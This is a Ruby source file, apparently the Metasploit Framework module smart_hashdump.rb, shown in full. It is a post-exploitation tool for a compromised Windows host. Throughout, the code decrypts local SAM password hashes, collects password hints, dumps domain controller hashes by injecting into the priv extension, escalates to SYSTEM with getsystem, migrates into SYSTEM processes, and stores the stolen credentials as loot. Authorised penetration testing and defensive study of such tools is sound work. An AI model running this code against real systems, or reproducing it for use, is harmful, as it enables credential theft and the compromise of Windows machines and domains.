metasploit-framework/modules/post/windows/gather/smart_hashdump.rb

460 lines
15 KiB
Ruby

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Accounts
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local and Domain Controller Account Password Hashes',
'Description' => %q{
This will dump local accounts from the SAM Database. If the target
host is a Domain Controller, it will dump the Domain Account Database using the proper
technique depending on privilege level, OS and role of the host.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false])
], self.class)
@smb_port = 445
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
host = Rex::FileUtils.clean_path(sysinfo["Computer"])
hash_file = store_loot("windows.hashes", "text/plain", session, "", "#{host}_hashes.txt", "Windows Hashes")
print_status("Hashes will be saved to the database if one is connected.")
print_status("Hashes will be saved in loot in JtR password file format to:")
print_status(hash_file)
smart_hash_dump(datastore['GETSYSTEM'], hash_file)
end
#-------------------------------------------------------------------------------
def capture_hboot_key(bootkey)
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
#-------------------------------------------------------------------------------
def capture_user_keys
users = {}
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
#Attempt to get Hints (from Win7/Win8 Location)
begin
users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data
rescue ::Rex::Post::Meterpreter::RequestError
users[usr.to_i(16)][:UserPasswordHint] = nil
end
uk.close
end
ok.close
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
#Attempt to get Hints (from WinXP Location) only if it's not set yet
if users[rid][:UserPasswordHint].nil?
begin
uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
users[rid][:UserPasswordHint] = uk_hint.query_value("").data
rescue ::Rex::Post::Meterpreter::RequestError
users[rid][:UserPasswordHint] = nil
end
end
uk.close
end
ok.close
users
end
#-------------------------------------------------------------------------------
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_enc = ""
hashnt_enc = ""
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
#Check if hashes exist (if 20, then we've got a hash)
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
#If we have a hashes, then parse them (Note: NT is dependant on LM)
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
#-------------------------------------------------------------------------------
def decode_windows_hint(e_string)
d_string = ""
e_string.scan(/..../).each do |chunk|
bytes = chunk.scan(/../)
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
end
d_string
end
#-------------------------------------------------------------------------------
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
#-------------------------------------------------------------------------------
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
#-------------------------------------------------------------------------------
def read_hashdump
host,port = session.session_host, session.session_port
collected_hashes = ""
tries = 1
begin
print_status("\tObtaining the boot key...")
bootkey = capture_boot_key
print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("\tObtaining the user list and keys...")
users = capture_user_keys
print_status("\tDecrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("\tDumping password hints...")
hint_count = 0
users.keys.sort{|a,b| a<=>b}.each do |rid|
#If we have a hint then print it
if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
print_good("\t#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"")
hint_count += 1
end
end
print_status("\tNo users with password hints on this system") if hint_count == 0
print_status("\tDumping password hashes...")
users.keys.sort{|a,b| a<=>b}.each do |rid|
# next if guest account or support account
next if rid == 501 or rid == 1001
collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::")
session.framework.db.report_auth_info(
:host => host,
:port => @smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
# Sometimes we get this invalid handle race condition.
# So let's retry a couple of times before giving up.
# See bug #6815
if tries < 5 and e.to_s =~ /The handle is invalid/
print_status("Handle is invalid, retrying...")
tries += 1
retry
else
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
end
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
return collected_hashes
end
#-------------------------------------------------------------------------------
def inject_hashdump
collected_hashes = ""
host,port = session.session_host, session.session_port
# Load priv extension
session.core.use("priv")
# dump hashes
session.priv.sam_hashes.each do |h|
returned_hash = h.to_s.split(":")
if returned_hash[1] == "j"
returned_hash.delete_at(1)
end
rid = returned_hash[1].to_i
# Skip the Guest Account
next if rid == 501 or rid == 1001
# skip if it returns nil for an entry
next if h == nil
begin
user = returned_hash[0].scan(/^[a-zA-Z0-9\-$.]*/).join.gsub(/\.$/,"")
lmhash = returned_hash[2].scan(/[a-f0-9]*/).join
next if lmhash == nil
hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}"
collected_hashes << "#{hash_entry}\n"
print_good("\t#{hash_entry}")
session.framework.db.report_auth_info(
:host => host,
:port => @smb_port,
:sname => 'smb',
:user => user,
:pass => "#{lmhash}:#{returned_hash[3]}",
:type => "smb_hash"
)
rescue
next
end
end
return collected_hashes
end
#-------------------------------------------------------------------------------
# Function for checking if target is a DC
def is_dc?
is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS")
if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
print_good("\tThis host is a Domain Controller!")
is_dc_srv = true
end
end
return is_dc_srv
end
#-------------------------------------------------------------------------------
# Function to migrate to a process running as SYSTEM
def move_to_sys
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
print_status("Migrating to process owned by SYSTEM")
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
if p["user"] == system_account_name
print_status("Migrating to #{p["name"]}")
session.core.migrate(p["pid"])
print_good("Successfully migrated to #{p["name"]}")
return
end
end
end
#-------------------------------------------------------------------------------
def smart_hash_dump(migrate_system, pwdfile)
domain_controler = is_dc?
if not is_uac_enabled? or is_admin?
print_status("Dumping password hashes...")
# Check if Running as SYSTEM
if is_system?
# For DC's the registry read method does not work.
if domain_controler
begin
file_local_write(pwdfile,inject_hashdump)
rescue::Exception => e
print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
if sysinfo['OS'] =~ /Windows (2008|2012)/i
move_to_sys
file_local_write(pwdfile,inject_hashdump)
else
print_error("Could not get NTDS hashes!")
end
end
# Check if not DC
else
print_status "Running as SYSTEM extracting hashes from registry"
file_local_write(pwdfile,read_hashdump)
end
# Check if not running as SYSTEM
else
# Check if Domain Controller
if domain_controler
begin
file_local_write(pwdfile,inject_hashdump)
rescue
if migrate_system
print_status("Trying to get SYSTEM privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM privilege")
if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i
# Migrate process since on Windows 2008 R2 getsystem
# does not set certain privilege tokens required to
# inject and dump the hashes.
move_to_sys
end
file_local_write(pwdfile,inject_hashdump)
else
print_error("Could not obtain SYSTEM privileges")
end
else
print_error("Could not get NTDS hashes!")
end
end
elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i
if migrate_system
print_status("Trying to get SYSTEM privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM privilege")
file_local_write(pwdfile,read_hashdump)
else
print_error("Could not obtain SYSTEM privilege")
end
else
print_error("On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
print_error("Try setting GETSYSTEM to true.")
end
else
if migrate_system
print_status("Trying to get SYSTEM privilege")
results = session.priv.getsystem
if results[0]
print_good("Got SYSTEM privilege")
file_local_write(pwdfile,read_hashdump)
else
print_error("Could not obtain SYSTEM privileges")
end
else
file_local_write(pwdfile,inject_hashdump)
end
end
end
else
print_error("Insufficient privileges to dump hashes!")
end
end
end